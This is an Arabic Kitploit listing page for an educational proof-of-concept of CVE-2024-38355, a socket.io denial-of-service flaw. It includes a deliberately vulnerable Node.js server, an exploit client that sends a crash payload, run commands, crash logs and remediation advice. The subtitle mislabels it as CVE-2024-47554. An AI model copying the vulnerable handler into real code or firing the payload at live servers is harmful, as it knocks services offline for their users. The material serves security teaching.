Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-38355-PoC — إثبات مفهوم لـ CVE-2024-47554 | Kitploit
أدوات/GitHubGitHub/pawelmurdzek/cve-2024-38355-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليم
GitHubpawelmurdzek/cve-2024-38355-poc

CVE-2024-38355-PoC

إثبات مفهوم لـ CVE-2024-47554

عرض المستودع
1منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-38355 Demo (Socket.IO Crash)

هذا المشروع هو إثبات مفهوم يوضح CVE-2024-38355، وهي ثغرة من نوع رفض الخدمة في socket.io. تم إنشاء المشروع لأغراض تعليمية لعرض آلية الهجوم وكيفية حماية التطبيقات.

حول الثغرة (CVE-2024-38355)

تؤثر هذه الثغرة على إصدارات socket.io:

  • < 2.5.1
  • >= 3.0.0, < 4.6.2

يمكن لحزمة Socket.IO مصممة خصيصًا أن تؤدي إلى استثناء غير معالج على الخادم، مما يتسبب في تعطل عملية Node.js. يؤدي هذا إلى هجوم رفض الخدمة (DoS).

كيف يعمل:

  1. يتصل العميل بشكل طبيعي بخادم Socket.IO.
  2. يرسل العميل حدثًا/حزمة ضارة تؤدي إلى حدوث خطأ على الخادم.
  3. إذا ألقى كود الخادم استثناءً (على سبيل المثال، من معالجة إدخال غير موثوق) ولم يكن هناك معالج أخطاء على المقبس، فإن الاستثناء غير المعالج يتسبب في تعطل عملية Node.js بأكملها.
  4. يصبح الخادم غير متاح لجميع المستخدمين.

العوامل الرئيسية:

  • غياب مستمع حدث error على المقبس
  • كود من جانب الخادم يمكن أن يلقي استثناءات عند معالجة بيانات العميل
  • عدم وجود معالج استثناءات عام غير معالج

هيكل المشروع

يتكون المشروع من حاويتين من Docker:

  1. خادم ضعيف: خادم Node.js يستخدم إصدارًا ضعيفًا [email protected]. يحتوي على معالج أحداث يمكنه إلقاء استثناء غير معالج عند استقبال بيانات ضارة.
  2. عميل الاستغلال: سكربت Node.js يتصل بالخادم، ويختبر أولاً التشغيل العادي، ثم يرسل حمولة تؤدي إلى تعطل الخادم.

المتطلبات

  • Docker
  • Docker Compose

أو بديلاً:

  • Node.js 18+
  • npm

كيفية التشغيل

الخيار 1: استخدام Docker Compose (موصى به)

افتح محطة طرفية في الدليل الجذر للمشروع وقم بتشغيل:

root@kitploit:~
docker-compose down
docker-compose build --no-cache
docker-compose up

سيؤدي هذا إلى:

  1. بناء صور للخادم والعميل.
  2. بدء الخادم على المنفذ 3000.
  3. بدء عميل الاستغلال الذي سيهاجم الخادم ويُعطّله تلقائيًا.

الخيار 2: التشغيل محليًا (بدون Docker)

المحطة 1 - بدء الخادم:

root@kitploit:~
cd server
npm install
npm start

المحطة 2 - تشغيل الاستغلال:

root@kitploit:~
cd exploit
npm install
npm start

المخرجات المتوقعة

سجلات الخادم:

root@kitploit:~
[SERVER] Running on port 3000. Waiting for connections...
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"message":"Hello, normal request"}
[SERVER] Client disconnected: <socket-id>
[SERVER] Client connected: <socket-id>
[SERVER] Processing data: {"trigger":"crash"}
/app/index.js:24
            throw new Error('Uncaught exception triggered by malicious packet');

سجلات الاستغلال:

root@kitploit:~
[EXPLOIT] CVE-2024-38355 Proof of Concept
[EXPLOIT] Targeting http://vulnerable-server:3000...

[STEP 1] Testing normal connection...
[STEP 1] Connected successfully.
[STEP 1] Received response: {"status":"processed","data":{"message":"Hello, normal request"}}

[STEP 2] Sending malicious payload to trigger CVE-2024-38355...
[STEP 2] Connected. Sending crash trigger...
[STEP 2] Payload sent! Waiting for server to crash...
[STEP 2] Disconnected (server may have crashed).

[STEP 3] Checking if server is still alive...
[RESULT] SUCCESS! Server is unreachable: xhr poll error

الإيقاف

اضغط Ctrl+C أو شغّل:

root@kitploit:~
docker-compose down

تحليل الكود

الخادم الضعيف (server/index.js)

root@kitploit:~
socket.on('process_data', (data) => {
    // VULNERABLE: No try-catch, no error handler on socket
    if (data && data.trigger === 'crash') {
        throw new Error('Uncaught exception');  // Crashes the process!
    }
});

الاستغلال (exploit/exploit.js)

root@kitploit:~
// Send malicious payload that triggers the crash
socket.emit('process_data', { trigger: 'crash' });

كيفية الإصلاح؟

لحماية تطبيقك من هذه الثغرة:

  1. تحديث socket.io إلى الإصدار 4.6.2 أو أحدث (الإصلاح يضيف معالج أخطاء افتراضي بدون عملية).

  2. قم دائمًا بإرفاق معالجات الأخطاء بالمقابس:

    root@kitploit:~
    socket.on('error', (err) => {
        console.error('Socket error:', err);
        // Handle gracefully, don't let it crash the server
    });
    
  3. لف معالجات الأحداث في try-catch:

    root@kitploit:~
    socket.on('process_data', (data) => {
        try {
            // Process data safely
        } catch (err) {
            console.error('Error processing data:', err);
            socket.emit('error_response', { message: 'Invalid data' });
        }
    });
    
  4. أضف معالج استثناءات عام غير معالج (كحل أخير):

    root@kitploit:~
    process.on('uncaughtException', (err) => {
        console.error('Uncaught Exception:', err);
        // Log and gracefully shutdown
    });
    

المراجع

  • CVE-2024-38355 على NVD
  • إشعار أمان GitHub GHSA-25hc-qcg6-38wj
  • إصلاح الالتزام

تم إنشاء المشروع لأغراض تعليمية.

تنزيل الأداة